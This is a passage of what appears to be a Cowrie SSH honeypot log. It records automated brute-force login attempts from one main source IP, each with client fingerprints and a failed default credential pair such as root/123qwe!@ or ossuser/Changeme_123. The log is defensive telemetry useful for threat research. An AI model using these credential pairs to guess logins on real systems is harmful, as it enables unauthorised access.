{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:59.613404Z","src_ip":"47.86.95.62","session":"571fc4db5f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:00.656939Z","src_ip":"47.86.95.62","session":"571fc4db5f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:01.927932Z","src_ip":"47.86.95.62","session":"571fc4db5f1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40952,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c68f95055af","protocol":"ssh","message":"New connection: 47.86.95.62:40952 (10.17.0.5:22) [session: 1c68f95055af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:06.920929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:06.925994Z","src_ip":"47.86.95.62","session":"1c68f95055af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:07.140603Z","src_ip":"47.86.95.62","session":"1c68f95055af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:07.775280Z","src_ip":"47.86.95.62","session":"1c68f95055af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:09.260431Z","src_ip":"47.86.95.62","session":"1c68f95055af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43438,"dst_ip":"10.17.0.5","dst_port":22,"session":"52890b28b637","protocol":"ssh","message":"New connection: 47.86.95.62:43438 (10.17.0.5:22) [session: 52890b28b637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:22.024896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:23.188817Z","src_ip":"47.86.95.62","session":"52890b28b637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:23.193912Z","src_ip":"47.86.95.62","session":"52890b28b637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:25.395052Z","src_ip":"47.86.95.62","session":"52890b28b637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:27.204892Z","src_ip":"47.86.95.62","session":"52890b28b637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34582,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6e57dc8532e","protocol":"ssh","message":"New connection: 47.86.95.62:34582 (10.17.0.5:22) [session: d6e57dc8532e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:32.238227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:32.243591Z","src_ip":"47.86.95.62","session":"d6e57dc8532e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:32.451613Z","src_ip":"47.86.95.62","session":"d6e57dc8532e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hive","password":"hive","message":"login attempt [hive/hive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:33.088896Z","src_ip":"47.86.95.62","session":"d6e57dc8532e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:34.295002Z","src_ip":"47.86.95.62","session":"d6e57dc8532e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34584,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd1c5c69cf1","protocol":"ssh","message":"New connection: 47.86.95.62:34584 (10.17.0.5:22) [session: 7cd1c5c69cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:36.833081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:36.837209Z","src_ip":"47.86.95.62","session":"7cd1c5c69cf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:37.101886Z","src_ip":"47.86.95.62","session":"7cd1c5c69cf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:37.735559Z","src_ip":"47.86.95.62","session":"7cd1c5c69cf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:38.944768Z","src_ip":"47.86.95.62","session":"7cd1c5c69cf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36590,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a14f88b9e92","protocol":"ssh","message":"New connection: 47.86.95.62:36590 (10.17.0.5:22) [session: 0a14f88b9e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:52.475647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:52.481656Z","src_ip":"47.86.95.62","session":"0a14f88b9e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:52.689160Z","src_ip":"47.86.95.62","session":"0a14f88b9e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:53.467445Z","src_ip":"47.86.95.62","session":"0a14f88b9e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:54.674993Z","src_ip":"47.86.95.62","session":"0a14f88b9e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":36600,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee86fb13600c","protocol":"ssh","message":"New connection: 47.86.95.62:36600 (10.17.0.5:22) [session: ee86fb13600c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:57.951686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:57.956110Z","src_ip":"47.86.95.62","session":"ee86fb13600c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:58.164975Z","src_ip":"47.86.95.62","session":"ee86fb13600c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":50516,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ea7b7e9ca5e","protocol":"ssh","message":"New connection: 176.65.132.190:50516 (10.17.0.5:22) [session: 9ea7b7e9ca5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:58.616095Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:58.624011Z","src_ip":"176.65.132.190","session":"9ea7b7e9ca5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:49:58.815140Z","src_ip":"47.86.95.62","session":"ee86fb13600c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:00.025935Z","src_ip":"47.86.95.62","session":"ee86fb13600c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53010,"dst_ip":"10.17.0.5","dst_port":22,"session":"1382651b844a","protocol":"ssh","message":"New connection: 47.86.95.62:53010 (10.17.0.5:22) [session: 1382651b844a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:22.037031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:22.434345Z","src_ip":"47.86.95.62","session":"1382651b844a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:22.441144Z","src_ip":"47.86.95.62","session":"1382651b844a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:25.885793Z","src_ip":"47.86.95.62","session":"1382651b844a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:27.095792Z","src_ip":"47.86.95.62","session":"1382651b844a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53018,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0f1a2638a6d","protocol":"ssh","message":"New connection: 47.86.95.62:53018 (10.17.0.5:22) [session: e0f1a2638a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:28.862852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:50:28.869421Z","src_ip":"47.86.95.62","session":"e0f1a2638a6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-ce